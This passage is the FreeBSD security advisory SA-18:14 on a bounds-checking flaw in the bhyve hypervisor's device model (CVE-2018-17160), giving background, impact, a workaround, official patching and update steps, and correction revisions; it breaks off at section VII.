FreeBSD Security Advisory FreeBSD-SA-18:14.bhyve
-BEGIN PGP SIGNED MESSAGE- Hash: SHA512 = FreeBSD-SA-18:14.bhyve Security Advisory The FreeBSD Project Topic: Insufficient bounds checking in bhyve(8) device model Category: core Module: bhyve Announced: 2018-12-04 Credits:Reno Robert Affects:All supported versions of FreeBSD. Corrected: 2018-12-04 18:32:50 UTC (stable/11, 11.2-STABLE) 2018-12-04 18:38:32 UTC (releng/11.2, 11.2-RELEASE-p6) CVE Name: CVE-2018-17160 For general information regarding FreeBSD Security Advisories, including descriptions of the fields above, security branches, and the following sections, please visit https://security.FreeBSD.org/>. I. Background The bhyve hypervisor uses the bhyve(8) program to emulate support for most virtual devices used by guest operating systems. II. Problem Description Insufficient bounds checking in one of the device models provided by bhyve(8) can permit a guest operating system to overwrite memory in the bhyve(8) processing possibly permitting arbitary code execution. III. Impact A guest OS using a firmware image can cause the bhyve process to crash, or possibly execute arbitrary code on the host as root. IV. Workaround The device model in question is only enabled when booting guests with a firmware image such as the UEFI images from the bhyve-firmware package. Guests booted using bhyveload(8) or grub2-bhyve are not affected. Guests using operating systems supported by bhyveload(8) or grub2-bhyve can be booted using these tools as a workaround. No workaround is available for guest operating systems such as Windows that require a firmware image. V. Solution Perform one of the following: Upgrade your vulnerable system to a supported FreeBSD stable or release / security branch (releng) dated after the correction date. 1) To update your vulnerable system via a binary patch: Systems running a RELEASE version of FreeBSD on the i386 or amd64 platforms can be updated via the freebsd-update(8) utility: # freebsd-update fetch # freebsd-update install Afterward, restart guests using firmware images. 2) To update your vulnerable system via a source code patch: The following patches have been verified to apply to the applicable FreeBSD release branches. a) Download the relevant patch from the location below, and verify the detached PGP signature using your PGP utility. # fetch https://security.FreeBSD.org/patches/SA-18:14/bhyve.patch # fetch https://security.FreeBSD.org/patches/SA-18:14/bhyve.patch.asc # gpg --verify bhyve.patch.asc b) Apply the patch. Execute the following commands as root: # cd /usr/src # patch < /path/to/patch c) Recompile the operating system using buildworld and installworld as described in https://www.FreeBSD.org/handbook/makeworld.html>. Afterward, restart guests using firmware images. VI. Correction details The following list contains the correction revision numbers for each affected branch. Branch/path Revision - - stable/11/r341486 releng/11.2/ r341488 - - To see which files were modified by a particular revision, run the following command, replacing NN with the revision number, on a machine with Subversion installed: # svn diff -cNN --summarize svn://svn.freebsd.org/base Or visit the following URL, replacing NN with the revision number: https://svnweb.freebsd.org/base?view=revision&revision=NN> VII.
